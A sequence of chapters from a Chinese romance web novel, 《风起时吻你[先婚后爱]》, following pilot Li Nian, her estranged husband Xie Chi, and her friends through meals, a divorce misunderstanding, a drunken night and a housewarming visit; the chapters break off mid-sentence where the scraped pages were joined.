路过国子监景区大门时,前行的道路稍显阻塞,有许多游客正在排队等候入场,大多看起来像是家长陪同将要入学的孩子过来沾灵气。此地虽不及雍和宫那般游人如织、肩摩毂击,倒也勉强算得上热闹。 谢持像是想到了什么:“这里是京城的最佳紫藤观赏地,四月中下旬的时候景色很美。” 黎念抬眼望去,横亘在半空之中的依然是青绿彩画梁枋,看得有些审美疲劳。但若缀上浅紫色小花,又不知是怎样的光景。 “真好啊,也不知道明年有没有机会能看到。”她随口道。 “想看的话那便一定能看到。” 再往前都是一些近两年新开起来的店铺,大多是装修风格大同小异的咖啡厅,在正午时分稍显冷清。一直走到道路尽头,穿过一条川流不息的马路,便是车辇店胡同。 谢持要带黎念去的小餐厅便藏在这条胡同深处。 站在简陋的绿底白字招牌前,谢持皱眉盯着被人踩得发灰的红地毯,脚步踟蹰不前。门楣很低,低到像是快要撞到他的头。牛皮癣一般的广告贴满了掉漆的褐色木门,塑料筐装满汽水和啤酒玻璃瓶垒在墙角。 分明是一家再寻常不过的社区店。 黎念扯了扯他的袖角:“这儿可是你带我来的,还进不进去啊?大、少、爷。” “你不要紧到洗我脑壳嘛!”谢持气急败坏冒出了一句方言,“我就是聊至来告这家店的,跑得脱个铲子。” 噫,好奇怪。 黎念听不得谢持讲川话,尤其是现在,他还顶着一张帅得她腿软的脸。 “咱们把普通话说好比什么都重要,”她连忙搀着谢持朝店里面带,“少爷请进吧。” 店内零星坐了几桌客人,听口音像是本地街坊。桌上不约而同都残存着招牌肉饼的痕迹,或许是一盘棕黄的油渍,或许是咬了一口便放下的月牙形。 老板对两人的到来算不上热情,目不斜视打了声招呼应付一下,让他们自己看吧台上张贴的菜单,实则在全神贯注给直播P.K.的主播点赞刷礼物。 谢持说他吃什么都行,让黎念看着随便点。然后自己精挑细选了一张看起来最干净的圆桌,不断抽出纸巾在凳子和桌面上反复擦拭,直到再无一缕灰尘才肯坐下。 黎念点好菜回来,落座时不小心踢到桌底的垃圾桶,被里面满到快要溢出来的废纸震撼到。 此时谢持甚至还把手机和车钥匙攥在手里。 “好夸张,”黎念嘀咕道,把凳子往里挪了挪,坐得离桌子更近些,“你以前来我家吃饭可没有这么多过场。” 她家的娟妹冒菜,环境粗陋得有过之而无不及。 一个临街店铺,一个台式燃气炉,六张油迹斑斑的木头桌子,再加上过于老旧而发出巨大噪音的单开门冰柜。 塑料圆筒里稀稀拉拉长出几根不凑套的筷子,人行道旁边的排水道盖板上永远都覆盖着未干透的洗菜洗锅的废水,水沟里时不时返上来阵阵臭味。 谢持小时候放学就爱来这里蹭饭,撒娇央求黄丽娟给他冒半只烤鸭,还要打上满满一碟干海椒面蘸着吃。 黎念最见不得他在自己赶作业的时候独自大快朵颐满嘴流油。她作业做得慢,每天都被黄丽娟勒令在店铺里坐着写完才能开饭。等到她好不容易抠破脑袋把最后一道题的答案蒙出来,谢持加点的荤素套餐连一滴油都不剩了。 怪不得以前长那么胖。 再看现在,都瘦脱相了。 谢持被她打量得如芒在背,内心浅浅挣扎过后还是决定把手里的物件搁在桌上,挤出一道笑来:“哪里有,我觉得这儿挺好的。” 服务员很应景地端着不锈钢托盘出现,把菜碟子挨个放好,并没有刻意摆弄布局。 “您二位的门钉肉饼、糖拌西红柿、羊杂汤还有小份筋头巴脑。慢用。” 黎念知道谢持心里还在犯别扭,找服务员要了双一次性木筷递过去便没再管他。 她直接夹起一块饼往嘴里送。 味道比想象的更加厚重,但咸香油汁流经每一处味蕾时都能席卷起大脑最深处的极致愉悦。 黎念从来不觉得满足口腹之欲是低级享受,只要能让她暂且忘掉烦心事的就是好品味。 谢持不紧不慢拆开筷子包装,眼风一斜瞧她吃得津津有味,心头一动。 后来服务员收拾桌面的时候也忍不住互相吐槽,两个人点了那么多菜竟然还能吃空盘。 尤其是那个男的,明明看起来挺斯文,想不到饭量这么夸张。 - 汽车在拥堵的城区里停停走走,黎念坐在车后排晃晃悠悠,不一会儿便生出浓重的困意,一觉睡到了阆园。 “这是哪?到家了?”她睁开惺忪睡眼,发现周围光线暗了几个度,像是在地下车库里。 谢持把车停好却没有熄火。后排空调出风口持续送着冷气,吹得她有些头疼。 “嗯,”他抬眼瞥向后视镜,与她目光交汇,“你先回去休息会儿,我下午还得去公司一趟。” 黎念微怔:“原来你没进民航局?” 晋姝意的情报有误啊! 谢持被问得莫名其妙:“没有啊,我从空客辞职回来 17. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 谢持坐在驾驶座里目送黎念消失在电梯间,唇角还噙着化不开的笑。 他感到脖子微微勒得不适,伸手去解开第一颗扣子,然后垂眸盯着胸前鼓起的一条条难看的褶皱,不耐烦地啧了一声。 谁骗他国内的正式场合夏天必须穿商务正装短袖来着?他绝对不允许自己的衣柜里出现这种把007都能变成泊车门童的“时尚单品”。 谢持决定先回家换身衣服。 梅森马吉拉的浅灰条纹长袖松松垮垮地笼罩在身上,他如蒙大赦,从未感到呼吸如此畅快。 听到主卧里时而传来物品砸落地面的闷响,他以为黎念那边出了什么事,还没来得及把纽扣全部系好,便趿着鞋匆忙前去查看。 各式衣物配饰触目惊心地散落一地。而她还在翻箱倒柜,像是要把房间搜个底朝天。 他顿时想到了她的愿望。 一天都耽误不了,迫切想要实现的。 从他身边逃离。 四目相对。 一双眼里电光石火般闪过震惊。 谢持的手指还紧扣在门框,因为用力过度而失去了血色。面上的惊惶不安一分一分地崩解褪去,悲凉渐渐浮现。 他笑得很讽刺:“你真的想清楚要离婚的话,我们可以去民政局提交申请。” 黎念以为自己搞破坏被抓现行,正在火急火燎地组织措辞想要解释眼下状况,不料听他语出惊人,霎时怔愣在原地一动也不动。 脑袋里循环播放: 去民政局。离婚。 原来他已经考虑好了。 “但现在有冷静期,这三十天里我尽量不出现在你面前,”谢持见她没有反应,添道,“你不要觉得尴尬,继续住在阆园就行,搬家的事情等之后再说。” 黎念只觉无力感深重地袭来,嘴唇轻轻翕动了两下,还是紧咬着牙咽下了所有想说的话。 她还以为他们终于走近了些,但从来都只是她自作多情的“以为”。 “所以,你专门回来一趟就是想告诉我这些?”黎念拧着眉认真看他,冷声诘问道。 谢持苦笑,满腔落寞不加掩饰:“我不是说过吗,你想要的我都会帮你实现,什么要求我都无法拒绝。” 如果她还记得的话。 强烈的午后阳光穿透纱帘倾泻在周身,房内中央空调却不疾不徐地送着凉风,黎念感觉背上汗意涔涔,冷一阵热一阵,连带着呼出来的气也是沾湿湿的。 她眼神放空,莫名打了个寒战。 心底硬生生地抽痛。 谢持的话语就如天外来音一般,徘徊在最阴湿黑暗的记忆的尽头,忽远忽近难以捉摸。本以为那件事可以成为他们心照不宣的记忆空档,可他偏要在这时提起来。 在她人生的第二重灰暗里。 黎念笑容愈发凄迷:“抱歉,已经忘了。” 她用手背拂去了眼角不知何时沾上的星星点点的湿痕,也挤出一抹笑来。 “过去那么久的事情谁还记得。谢持,我们是不是应该朝前看。” 谢持看着她,眼神光倏然熄灭,眼圈微微发红。他不多言语,迟缓地背过身去,拖着沉重的步子消失在了走廊尽头。 黎念再次听到异响,是最外面的大门紧闭。 - 谢持走后,黎念跌坐在满地衣物里平复了好久情绪。 突然觉得发卖收藏品好像也不是一件令她难以割舍的悲痛事儿。 她如是想着,在联系人列表里翻了翻,找到一个光影模糊的意识流头像,点进去拨通对方的电话。 “Butyouputonquiteashow “Reallyhadmegoing “Butnowit''stimetogo “Curtain''sfinallyclosing…” 黎念认识这个人有些时日了,却从来没有听他换过铃声。这首慵懒忧伤的英文歌渐渐潜移默化成了他的一种标志性符号。 但她很清楚,本人的气场俨然和歌曲风格相去甚远。 “喂宝贝?怎么突然想起来找我了?”电话那头的男声,有点甜。 黎念似乎对他的语调,以及过分亲昵的称呼习以为常:“你在店里吗?我来出点货。” 她怀里揣着一个被sales夸得天花乱坠的小香千鸟格毛呢包。 当时在店里暖黄灯光照射下,复古摩登气息扑面而来,直接吹到了她的心尖尖。等到她晕乎乎地把这块包提回家,发现质感和成色莫名其妙变得好差,便怎么都不看顺眼了。 后来这片黑白相间的软布便同那缀着山茶花的精美外包装盒一起长眠在了衣帽间的顶端。 电话那头听起来喜不自胜:“那必须得在呀!我都快想死你了。” 很快黎念就出现在一座镶着“Vincent''sBoutique”字样的黑金招牌前。 这家店的装修风格让人一下子就能联想到电影《哈利·波特》里面的古灵阁。最显眼的巨型橱窗里,华丽水晶吊灯下,人形模特身穿GianfrancoFerre执掌雕牌时期的秀款女装,姿态极尽优雅潇洒。 黎念曾经问过老板考不考虑把这件大V领泡泡袖衬衫卖给她,得到的答复是一对白眼。 “有人吗?” 她轻车熟路解开门锁踏入店内,环视四周也没见个人影,于是提高音量:“陈鹏鹏!” 收银台后面霎时旱地拔葱起来一个活人。 他内里真空穿了一件棉麻质地西装,搭配卡地亚素链和宝诗龙Hopi蜂鸟粉宝石耳环,野生眉和睫毛都刷得根根分明,眼头还点上了闪闪发亮的珠光,精致程度堪比ig时尚博主。 当然这位被称作陈鹏鹏的漂亮男人在外网的确是个小有名气的fashionicon。 “哎呀!跟你说过多少次了,不要叫我这个名字,”他没好气地走出来,瞪着她一顿劈头盖脸输出,“我叫Vincent,V-I-N-C-E-N-T.YoucanalsocallmeVincentChan,understand?” 黎念假装听不懂,眼睛滴溜溜转了一圈:“好的鹏鹏陈。” 陈鹏鹏急得跺脚也拿她没办法。 但他突然好像想到了什么,缠住她的手臂坏笑道:“宝贝你要再这样,我就只能以0.8的系数回收你的包包了哦。” 随着他的靠近,他惯爱用的乌龙茶香古龙水缓缓游入黎念的鼻息之中。 好家伙,这不是她之前跟他吐槽公司财务发放年终奖时的话术吗。 怎么还活学活用上了。 黎念一想到自己出个全新二手包还得折上打个八折,心碎的声音落在耳畔,憋着一股委屈劲倚靠在陈鹏鹏的肩头:“好啦,我们超级有品的绝世佳人Vincent别生气嘛,我保证再也不和你开玩笑了。” Vincent将信将疑睨她一眼,满脸傲娇:“劝你不要把我当小baby哄。” 黎念头摇得跟拨浪鼓一样。 她神色凝重做了一个噤声的手势,故作神秘从随身携带的袋子里双手捧出自己的家当。 “麻烦您给估个价呗。” Vincent轻轻哼了一声,接过盒子。他掀开盒盖往里扫了一眼便合上,顺手放在一边,看起来无多兴趣:“19秋冬超大号,一点六个,不能再多了。这种材质本来就不太好卖出去。” 黎念这回没摁计算器倒也算得挺快,痛苦地捂住心口:“折价这么严重……” “宝贝,出给下家也就这个价,我可没想过要赚你的钱。”Vincent抱着臂冷冷道,一脸爱卖不卖的无所谓态度。 黎念闭眼揉了揉太阳穴,很是大义凛然:“好好好,我不还价,deal?” Vincent眯着眼睛微抬下巴,算是答应了。 后来,黎念眼巴巴盯着银行发来进账提醒,欢天喜地拉着Vincent要请他吃饭。 “我没搞错的话,你现在应该是处于半失业状态,靠着回收二奢饮鸩止渴,月收直接对半砍。怎么就跟个纨绔一样管不住钱呢?亲爱的‘独立女性’。”Vincent瞥她一眼,句句扎心。 黎念弱弱道:“我这叫‘江湖救急’,能一样吗……你可帮了我一个大忙诶,必须得请。” “行啊,”Vincent扬眉,“别太破费哈。” 陈鹏鹏上一秒精致得像是要去时装周走秀,下一秒就被黎念拖到了工人体育馆附近的串串店里,拴着黑红色围裙端着装菜的铁盘,无语泪先流。 他想到自己自诩贴心 18. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 到阆园的地下停车场后,黎念已经醉得不省人事。陈鹏鹏专程绕到左边替她打开车门,她昏沉沉一头栽进他怀里,全身重量都压了过去。 陈鹏鹏被撞得发出一声闷哼,条件反射想后撤远离,但良心驱使着他把醉鬼的手臂从颈后绕过,搭在自己另一侧的肩上。 好人做到底,送佛送到西。 等黎念醒来他再从她身上讹点打车费、服务费、干洗费和精神损失赔偿费就行。 “喂,”陈鹏鹏用闲出来的那只手不知轻重地拍了拍黎念的脸,“你家具体住哪栋楼?这里太大了,是不是得叫个观光电瓶送送?” 他第一次来阆园,虽然只是在停车场兜了半圈,却被这堪比车展的派头深深震慑住。 宾利京城车友会如果要团建,从这里开出去的车得占据半壁江山。至于为什么举这个例子,因为出租车师傅把他们丢下来的位置旁边堪堪停着一辆白色添越。 黎念被烦得睁开眼,鼓足劲勉强寻回一丝清醒神智。 她余光瞥见谢持的车,使劲揪住陈鹏鹏的西装衣领,贼兮兮凑到他的耳边压低声音:“那个人回家了,嘘——我们回去得小声点——” 陈鹏鹏看看黎念,再看看面前的梦中情车,哐哐给了她轻飘飘的两拳,咬牙切齿默念要和她秋后算账。 “你丫到底住几栋几单元?别逼我把你老公摇下来亲自接你啊。”他凶神恶煞道。 黎念不一会儿的功夫又险些昏睡过去,听到他在耳边惊雷般咆哮,揉了揉沉重的眼皮,不满嘟囔道:“烦不烦啊陈鹏鹏……就这个电梯上三楼……” “是,我烦,我不远万里送你回家,还要被嫌烦。”陈鹏鹏嘴上骂骂咧咧,身体却很诚实地朝着电梯间负重前进。 “嘿嘿……”黎念任由他拖行着,乐得笑出了声,“记得我说的,不要打扰到他,他超——凶的。” 说罢,还把食指抵在唇边,嘘了一声。 电梯门打开,陈鹏鹏扛着彻底昏迷的黎念艰辛挪到1003门前,抓住她的食指按向指纹锁,连鞋也顾不上换就直接把人随手抛在沙发上。 手法熟练得就像经常作案的…… 黎念睡得很瓷实,他只能想到这个不贴切的形容,似乎天塌了都不足以惊醒她。而他也没有力气再把黎念安放到卧室去,干脆从沙发椅里顺手抓来一块毛毯丢到她身上。 陈鹏鹏自觉出的汗把衣服黏在前胸后背上很不舒服,便摸索到卫生间去整理仪容,美美出来后又晃悠到中岛台给自己倒了一杯现成的温水喝。 完全没把自己当客人。 他缓过劲来后,终于想起来黎念提醒他的,老公在家。 虽然明眼人都看得出来他的属性,但毕竟夜黑风高的,他一个陌生男子大剌剌地杵在别人家里,多少还是容易引起不必要的误会。 陈鹏鹏仰头把水饮尽,涮干净杯子放回原位打算开溜。 然后,撞见一抹颀长的身影,一双警觉的眼睛。男人审视的目光从制高点凌厉落下,带着不容抗拒的威严与压迫。 这就是传说中超凶的老公…… 不是,超帅啊! 陈鹏鹏很想把黎念立刻摇醒,大声质问她怎么舍得跟眼前这个极品多金型男提离婚的。 但他面上分明挂着礼貌的微笑,举手投足间尽是不卑不亢:“您好,我是黎念的朋友Vincent,怕你误解所以我觉得叫‘姐妹’可能更合适一点。” 谢持微微颔首,敛去一身锋芒,笑意浅淡:“你好。黎念的丈夫,谢持。” 陈鹏鹏差点要晕倒,在内心疯狂叫嚣,前夫哥好冷漠,好攒劲!素来不爱多管闲事的他竟然头一回生出了要撮合人“破镜重圆”的心思。 于是他上前一步,故作潇洒拍拍谢持的肩头。当然是踮着脚的。 “你老婆有点难过,所以没控制住喝太多。好好照顾她。” 谢持温声应承下来:“谢谢你Vincent,今天麻烦你专程跑一趟了,待会儿我帮你叫车。改天我和黎念一定请你再好好吃顿饭。” 还有这种好事? 陈鹏鹏偷着一乐:“哪里哪里,都是好朋友,甭这么客气。” 他眼瞧着谢持言行举止端方周正,倒像个值得托付的对象,心下疑虑一扫而空。离开之前还不忘扮酷补充道:“这姑娘今天差不多六瓶啤的就这样了,噢,还有二两白的。” 谢持知道陈鹏鹏是在说黎念的酒量,但笑不语,一直把他送到电梯口。 客厅灯光昏暗。 黎念伏倒在弧形沙发里,微乱的发丝散落四周,脸埋进手臂看不清睡颜。清瘦的脊背时而有规律地起伏,睡得很沉。 垂落在地面的脚上还穿着白天那双帆布鞋,蝴蝶结系得松松垮垮,好像再多碰一下就会散架。 谢持居高临下凝望着她,眼里惊愕、疑虑、懊悔、缱绻一闪而过。 六瓶啤酒,二两白酒。准确来说要混着喝才会这么醉。他更早之前就了然于心,从不需要别人从旁提醒。 他叹了口气,放下手中冲泡好的蜂蜜水,单膝跪在她的腿侧,轻扣住脚腕替她把鞋一只只脱掉,然后稳稳当当将她打横抱起,朝最里边的卧室走去。 - 黎念睡得混沌,突然眼前蒙蒙微亮,睁开眼后环顾四周,发现自己竟然回到了乡下老宅,身披重孝,头上还裹着医用纱布。 堂屋被简单布置成了灵堂。挽联高悬,白菊环绕,花圈堆满了三面墙壁。中间空出来的地方原本应该放置棺木,现在仅有一张木桌,上面是叠得整齐的崭新警服和警帽。 她想起来这是黎志明下落不明被宣告死亡后,老家亲戚为他补办的葬礼。 “黎念这娃娃好造孽哦,老汉儿走了哭得伤伤心心的,都哭晕过去了。” “她是不是才读高中呢?” “好像是。志明本来就是个辅警,没啥子工资得。现在只能靠她妈妈开铺子那点钱供着上大学了。” “你说志明儿咋就那么霉嘛,出趟外勤就莫得了。现在都还没找到人在哪里。” “他们说是两片山瞬间合拢到一起,人车房子全都埋到候头永远出不来了。” “啊呀……吓人得很,好造孽哦!” “有你说的那么神?还瞬间合拢。” “你不信算逑,消防武警都去看过了,除非把山炸掉,否则永远都刨不出来里面埋着的死人。” 黎念听得鼻腔发酸,涕泪交垂,想要起身上前去询问,喉咙却干涩失声。 两眼一黑再度陷入昏迷。 下次醒来,她无法感知身体的实在,视野却变得开阔清晰。 她正随着一辆老款捷达穿行在蜿蜒崎岖的盘山公路上,眼睁睁看着它以惊人的加速度坠向密林深处,而自己再也无法追上。 顷刻间,山摇地动、落石滚滚,壁立的悬崖如巨掌合拢,气势滔天吞噬万物,包括那辆渺小到快要消失 19. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 谢持的手横在黎念肩膀上,小臂自然下垂,像是把她圈在怀中的姿态。潮热的呼吸均匀地落在她脸颊上。 他的体温明明很正常,房间里空调温度也调得很低,肢体接触的地方莫名灼烧得发烫。 让她联想到他们此前唯一一次的深入交流。 她在茫茫雪原里瑟缩颤抖,再多的祈求和哭喊也无济于事。他的吻像沸腾的雨,融掉了溪流冰封,却终究不是暖阳。 黎念不习惯现在的温度,准备起身去关掉空调,但被人锢住动弹不得,只好揪着被角往下压,把身体撑开的缝隙填满,不让一丝凉气钻进被窝里。 她的老家在地理意义上属于南方,冬天却异常潮湿寒冷,竟然还没有集中供暖。睡觉把被子裹得再紧也总会感觉冷意入骨。 要是以前也有个像谢持这样可以帮忙暖床的工具人该有多好。 她如是想着,掩着唇打了个呵欠,眼睑滞重得再也无力睁开,竟不知怎的就沉沉睡去。 黎念的睡眠向来稀碎。华北进入雨季后,飞机频繁延误,她的休息时间更是从夹缝中挤出来的。 现在暂时停飞,作息一时半会儿还没来得及调整,等到酒意彻底消褪她便极不情愿地自然醒来。 当然是被晒醒的。 昨晚忘拉窗帘,现在日上三竿,室内已经没有太阳光遗漏的角落。 黎念坐在床上思索片刻,总感觉哪里不对劲。 窗户本来在右手边,正对面应当是她从市集淘来的亨利·马蒂斯画作的仿制品,被罩得是她精挑细选的浅灰色天丝面料,床头的大号史迪仔毛绒玩具也不知所踪。 房内装修风格依然熟悉,反倒像极了最东侧的次卧。 她思索片刻。昨晚保存下来的记忆还算完整,她请陈鹏鹏吃串却把自己灌醉,后半夜不知不觉摸到了谢持的房间里,然后就躺在一起度过了一个“平安夜”。 呃。 每次耍酒疯似乎都有谢持的见证。 到底是什么孽缘。 黎念突然觉得飞行员执勤期间有禁酒令也挺好的,保持清醒严阵以待,至少不会让人瞧见她那没出息的窘态。于是她立刻为自己竖起再也不沾一滴酒的flag。 她环视四周,没有看到谢持的身影。 但房间里面新增了些许他生活过的痕迹。 床头有瓶无火香薰,标识着橙花和木质香型,和她昨天在国子监附近香水店里看到的是同款。角落还放着一把纯黑色的电吉他,面板边缘因为长时间使用磨损严重,掉了几块漆下来。 黎念想到了谢持刚回家那天迫不及待要带回房间的梯形纸箱,大小和这把吉他相当。 以前也没听说过他有什么乐器特长,看来他在失踪的这些年玩得还挺花。 她伸出手想要触摸吉他,却又怕给他碰坏了,蹲着仔细打量一番之后便起身离开。小时候她失手把他的游戏机摔在地上,他哭闹着去隔壁冒菜店找黄丽娟告状的事情也不是没发生过。 黎念先去玄关找到拖鞋穿上,路过客厅时,无意瞥见厨房里有若隐若现的人影。 以往周珮文来探望她时,总会事先发条消息知会一声。但自从谢持回国以后,周珮文便像是人间蒸发掉,一度让黎念险些忘记还有这位婆婆的存在。 所以正在厨房里忙活的人是谢持? 他到底解锁了多少新技能。 黎念放轻了脚步,趁谢持背对着半掩的磨砂玻璃厨房门,偷偷溜回自己的房间。 她把身上的衣服脱下来,发现衣摆处油迹斑斑,领口还残存着酒渍,狠狠倒吸一口凉气。 这么邋遢地爬了别人的床,就凭他那个洁癖性子竟然还没有把她踹下去,事出反常必有妖。 黎念洗完澡出来,发梢还滴着水,碰巧在餐厅撞见谢持。他正端着餐盘,盘里的葱花鸡蛋卷饼还在冒着袅袅热气。 摆了小半桌的早餐样式依然丰富,竟不再是异国风情。 红苋菜蒸出来的汤汁把一粒粒蒜蓉染成了鲜艳粉红,黎念以前总把这道菜当作女巫的魔药。麻辣口的豆腐脑里洒满葱花、黄豆、咸菜和胡椒粉,和在老家人民公园的扁担小贩那里买到的一模一样。 “多做了一些,你要吃吗?”谢持把鸡蛋饼放在桌面,并没有看着她说话,漫不经心得就像随口一提,然后拉开椅子自顾自地坐下来。 他只准备了一副碗筷。 黎念见状又气又笑,冷哼一声抱着手臂转身就走。 然后听到椅子腿在地面上划出刺耳声音,消毒柜被拉开又关上,瓷碗和大理石桌面碰撞得琅珰脆响。 黎念停下脚步,想象他做这些事时脸上的表情,眉眼间尽是掩饰不住的幸灾乐祸。 谢持无奈叹口气,向她投降:“特地多做的。” 黎念在原地磨磨蹭蹭半天,佯装不情愿地挪动到餐桌前,眯眼再次打量这一桌饭菜,撇撇嘴满是嫌弃。 她刻意和谢持保持距离,隔着一张椅子坐下,拈起一块鸡蛋饼轻咬一小口。 竟然出乎意料地好吃,比两年前那碗坨掉的红油小面还要香。 似乎每个留学生出门在外都会被迫修炼成中华小当家,八大菜系样样精通。看来谢持也不例外。 但她不能表现出来对他手艺的兴趣。 黎念随便吃了点,便用纸巾擦拭唇角,离开坐席。 没吃饱。 味蕾享福了,胃遭老罪了。 “昨晚什么都没发生,对吧?”黎念总觉得心里忐忑,临走之前不忘问道。 谢持不紧不慢啜了一口蔬菜蛋花汤,抬眼瞥她,眼神很快不动声色移回原位。 “我倒挺想问问,为什么我清早醒来会在床上看到其他人。” 黎念先是尴尬,然后气得跳脚。 他怎么可以什么都不记得! 是,她有错在先,未经允许闯进他的房间。但让事态进一步蔓延到不可控境地的人,明明是他…… “所以你也不知道我都说过些什么?”黎念继续试探道。 谢持缄口算是默认。 黎念本来已经组织好的语言顿时化作了不用戳就自己破开的肥皂泡。她知道昨晚那些羞以启齿的话自己不愿意再讲第二遍。 所以谢持打破沉默,换了个话题:“做饭的时候看到冰箱里剩了很多面包,你吃不惯吗?” 黎念昨天把没有动过的早餐放进冰箱冷藏起来了,竟然塞满了整整一抽屉。 她低着头看鞋尖,没有出声辩解。她知道浪费食物不好,也提前猜到谢持肯定会拿这件事说她。 但并没有。 谢持嗟叹一声,眉目低垂:“其实我也没有那么喜欢吃玛德莲。” - 谢持走后,黎念把游戏机连上电视 20. 赫拉 《风起时吻你[先婚后爱]》全本免费阅读 门一打开,陈鹏鹏都懒得和黎念客气两句便把这儿当自己家,摇曳生姿地走进去。 剩下黎念和程澈面面相觑。 他穿了简洁的白底绿色印花的t恤,配色清爽让人眼前一亮。 少年五官周正冷峻英挺,右眼是很明显的双眼皮,左眼微微内双,眉心一颗浅褐色美人痣算不上喧宾夺主,不笑的时候周身略带拒人千里之外的疏离。 但就在他和黎念对视的瞬间,瞳孔放大,满脸写着掩饰不住的惊喜,仿若春水初生,春林初盛。 门后突然探出来晋姝意的脑袋。 “姐!我们来你开心吗?” 她今天作了日常打扮,但妆容仍然精致妥帖。 黎念突然觉得自己先前白心疼晋姝意了。她就是精力过于旺盛闲得慌,建议签派员多奖励几次两头甩,让她从早带妆到晚。 “欢迎欢迎,”黎念笑道,侧过身来让客人进屋,“就是有点惊吓。” 她已经大致猜到是怎么回事了。 一定是陈鹏鹏这个大嘴巴到处跟人讲她新家在哪里,还要招呼着大家一块儿来暖居。 这要真的是她自己的房子就好了,也不用跟做贼似的遮遮掩掩。 平时会来阆园的也就周珮文和打扫卫生的钟点工阿姨,家里几乎没有别的人进入,所以黎念也没有事先准备鞋套或者备用的拖鞋。 她在鞋柜里只找到一双给阿姨穿的,还是三十八码女款,对于晋姝意来说大了,对于剩下两个男性而言又过于局促。 程澈凑过来看了一眼,指着最下方角落里的黑色男鞋:“姐,我可以穿这个吗?” 黎念顺着他指的方向看过去,有点熟悉,像在谢持身上出现过。 不行。 绝对不能让别人碰,他知道了会直接扔掉的。 “啊——没事儿,不用换鞋了,”黎念连忙把柜子合上装作无事发生,热情招呼着二人进客厅,“赶紧进来坐吧。” 程澈睨她一眼,对她欲盖弥彰的反应感到有些诧异,但也没有多想,傻乐着跟上脚步。 陈鹏鹏早已斜躺在沙发里,玩着黎念方才暂停下来的游戏。 见他一副坐没坐相、对这里很熟悉的模样,其他两个人也不再拘束,就近找了块位置坐下来。三双眼睛一齐盯着电视上的像素风画面。 等到黎念端着泡着柠檬片的玻璃水壶从厨房出来,看到自己苦心经营的农场变得空空如也,她瞬间崩溃尖叫:“不是,我种的菜怎么不见了!陈鹏鹏我要鲨了你!!” 陈鹏鹏怒目相向:“你叫我什么?” 黎念这才注意到他开了个新档,没有破坏自己原来的游戏进度,连忙谄媚地搂住他的胳膊挨着他坐,咧开嘴角甜甜一笑:“不好意思Vincent宝贝,都是误会嘛。” 然后伏在他的耳边恶魔低语:“到底怎么回事?你咋把他俩也带来了?”眼神瞟向一左一右的程澈和晋姝意。 陈鹏鹏正专注地盯着屏幕,他操纵的小人却因为体力不支晕倒在家门口。 “什么破游戏,好难玩,”他把游戏手柄随手一扔,头枕在双手上懒洋洋躺进靠垫里,“是程澈担心你情绪不佳,招呼我们过来探望一下你。” “那你告诉他们那件事了没?”黎念心中警铃大作。 陈鹏鹏耸耸肩,没再多话。 这点诚信他未免守不住? 程澈听到自己被点名,连忙从远处的靠椅站起身,小跑到沙发这边坐下。准确来说是坐在黎念的旁边,但礼貌地留出了一些距离。 “姐姐,是不是我擅作主张了……”程澈用担忧的眼神望向她,又像做错事般沮丧地低下头,双手紧紧用力扣在一起。 黎念怕他误会,连忙摆手辩解道:“别别别,小程我没有要怪你的意思。你这么关心我,我可是很感动的!” 右手偷偷在陈鹏鹏大腿上重重掐了一把,作为不请自来的谢礼。 程澈被陈鹏鹏吃痛的哀嚎吓得不敢再吱声,只敢乖乖捧着杯子喝水压惊。 这时,晋姝意再也按捺不住蠢蠢欲动的好奇心:“姐,你的新家好漂亮!我能到处看看吗?” 黎念脑子里飞速过了一遍禁忌事项。只要守住靠近玄关的次卧就不会让他们发现谢持的存在。 “好呀。”她笑得眼睛弯弯。 原本黎念只是带领着晋姝意四处闲逛,不知何时剩下两个人也加入进来,目光里掺着严肃的审视。 沙发背后的墙面安装了木质置物架,上面暂时摆放着零星几件装饰,都是黎念飞国际航线时在当地淘到的手工艺品,还有自己拍下来专门打印装框的风景照片。 整个客厅最不容忽视的就是巨幅落地窗外的景致。楼层虽不高,但足以使整个阆园的核心景观恰到好处尽收眼底。 晋姝意趴在窗上,从楼下开得繁茂梦幻的蓝紫绣球花海遥望向远处水光潋滟一片。湖心时而有游艇行经,拖曳着长长的白色尾迹。 她回过头来,幽怨地盯着黎念,目光灼灼像是要把她烧穿:“你们开三轮的都是隐形富豪吧。姐,你太不够意思了,居然背着我们吃这么好。” “买还是买不起的。”黎念干笑了两声,带着观光团离开客厅。 “那你怎么有了公租房还要专门花钱来租大平层啊。”晋姝意疑惑不解,内心开始抓狂。 飞行员挣再多小时费也不是用来这样挥霍的!她月薪刚破万,心里很容易不平衡…… 黎念驻足在主卧门前,扶在门把手上却迟迟未动。她实在没有勇气直视这三个专程来拷问她的地府判官。 该怎么圆过去呢? 把实情全盘托出? 连她自己都看不到这段婚姻的未来走向。她眼前只有炫目的白。 “其实……呃……” 黎念突然灵光一现:“房东是我一个朋友,他搬到国外之后这套房子就长期空出来了,但又一直没有找到买家。 “他想反正闲着也是闲着,在卖掉之前可以暂时借给我免费住,叫我没事帮他打扫卫生什么的,顺带守在家里防小偷。” 她着实佩服自己睁着眼睛说瞎话的能力,编到后边自己都快相信了。她的搬家奇遇记换个视角讲不就是这么个意思嘛。 旁边陈鹏鹏很是不屑地冷哼一声,静静看她表演,心里跟明镜似的。 “那你俩得是过命的交情啊。”晋姝意感叹道。 黎念心头一动。 她和这位“房东”的确经历过生死患难。 这么想来,他所做的一切莫非真的只是在报答自己? 可她从未想过要挟恩图报。 主卧房门打开,映入眼帘的是被翻得杂乱不堪的衣帽间。柜门半敞,长裙纱衫如瀑布般从中流泻出来,汇集成了一片海。 黎念昨天坐在衣服堆里思考了一下午的人生,像是把毕生的精力都挥霍殆尽。等到出发前去陈鹏鹏的二奢店时,她已经完全没有心情把这些东西复归原位了,所以决定放过自己一马,等到回家再清扫战场。 哪曾想中途发生的插曲太多,大扫除的事一直拖延到了现在,还是未完成时。 “嘿……嘿嘿……” 黎念大窘,想捂住其他人的眼睛赶紧把他们请出去却为时已晚。 住惯两人寝的年轻人看到偌大的卧室,嫉妒到眼睛发红、头发倒竖。他们的关注点根本不在于衣帽间的整洁程度,他们只看到两米宽的大床在三十平的房间里显得空寥寥的。 再多放一张床给他们睡不过分吧! “姐,平时就你一个人住吗?我能搬过来和你一起吗?”晋姝意眼巴巴望着她,手恋恋不舍地抚摸在玻璃门上,不经意间留下一道道指印。 黎念讪讪笑着,一时间难以狠下心来拒绝,只好用求助的眼神看向旁边正漫不经 21. 阿佛洛狄忒 《风起时吻你[先婚后爱]》全本免费阅读 黎念心里咯噔一下,接过晋姝意的手机。 屏幕上是一段发布在平台上的视频,已经有过万的点赞量。暂停的画面场景看起来像是在经济舱内,镜头对准了前后两舱之间的帘子。 